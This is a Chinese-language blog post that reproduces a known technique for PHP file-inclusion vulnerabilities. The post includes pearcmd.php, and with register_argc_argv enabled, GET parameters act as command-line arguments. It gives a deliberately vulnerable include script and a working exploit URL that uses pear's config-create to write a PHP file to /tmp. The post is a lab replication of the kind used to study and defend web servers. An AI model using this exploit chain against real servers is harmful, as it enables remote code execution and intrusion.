文件包含之pearcmd.php的妙用

主要是复现P神的这篇文章:https://tttang.com/archive/1312/。

里面有些知识不太了解,就自己总结一下。

原理

基础知识一

pear:pear(PHP Extension and Application Repository)是php的扩展与应用库

pearcmd.php:在我的理解中它是pear的命令行工具,通过pearcmd.php可以以命令行的方式执行一些操作

pearcmd.php中可用的命令:

重点关注划红线的config-create,这个命令作用是为pear创建默认配置文件

使用方法:

这个命令有两个参数:root pathfilename,执行该命令后会写入到

php pearcmd.php config-create <root path> <filename>

实际操作一下:

#错误命令,因为<root path>为绝对路径,必须以/开头
php pearcmd.php config-create 123 /tmp/123.txt
#正确命令
php pearcmd.php config-create /123 /tmp/123.txt

/tmp/123.txt文件:

123出现在其中

基础知识二

$_SERVER['argv']:传递给该脚本的参数。当脚本通过 GET 方式调用时,该变量会包含query string(就是get请求中?之后的内容)

  • $_SERVER['argv'][0] 指向程序运行的全路径名
  • $_SERVER['argv'][1] 指向在命令行中执行程序名后的第一个字符串
  • $_SERVER['argv'][2] 指向执行程序名后的第二个字符串
  • 依次类推

$_SERVER['argc']:传递给程序的命令行参数的个数

php.ini中register_argc_argv默认为Off(性能原因),当开启了这个选项,用户的输入将会被赋予给$_SERVER['argc']$_SERVER['argv']两个个变量。

注意用户的输入,可以是在命令行中的输入(保存到$_SERVER['argc']),也可以是在GET请求中的输入(保存到$_SERVER['argv'])

实际操作验证一下:

  1. 首先要在php.ini中开启register_argc_argv选项

  1. 创建一个test.php文件,内容为:<?php var_dump($_SERVER['argv']);?>

    访问localhost/test.php?a+b:

    用户的输入保存到了$_SERVER['argv']中,并且以'+'分割(重点)

原理

如果上面两个基础知识理解了,原理也就呼之欲出了。

原理就是下面这条命令,这条命令可写一个含有<?=phpinfo()?>的php文件:

php pearcmd.php config-create /<?=phpinfo()?> /tmp/hello.php

但是如何让目标服务器执行这条命令?答案是文件包含+$_SERVER['argv']

  1. 通过文件包含引入pearcmd.php
  2. 通过控制get请求参数来控制$_SERVER['argv'],进而控制当前脚本的命令行参数

复现

环境准备

  1. Linux虚拟机(我使用的是centos7)

  2. php版本 < 7.4(我使用的是phpstudy集成环境,php版本为7.2.21,使用时需要关闭open_basedir)

  3. 开启register_argc_argv:
#/usr/local/phpstudy/soft/php/php-7.2.21/etc/php.ini
register_argc_argv = On

创建一个存在文件包含漏洞文件(test.php):

<?php include $_REQUEST['file'];?>

exp:

http://localhost/test.php?+config-create+/&file=/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

exp中传了四个argv参数,和三个get参数,是按照argv参数的顺序来写的:

# argv参数,通过+分隔。传入的命令行参数是从$_SERVER['argv'][1]开始的,所以$_SERVER['argv'][0]必须为空
$_SERVER['argv'][0] = ""
$_SERVER['argv'][1] = "config-create"
$_SERVER['argv'][2] = "/&file=/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php&/<?=phpinfo()?>"
$_SERVER['argv'][3] = "/tmp/hello.php"

# get参数,通过&分隔,其中只有$_GET['file']有用
$_GET['config-create_/'] = ""
$_GET['file'] = "/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php"
$_GET['/<?'] = "phpinfo()?> /tmp/hello.php"

返回结果中将<和>,url编码了,所以用burpsuite抓包修改:

利用文件包含访问/tmp/hello.php:

至此复现成功


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录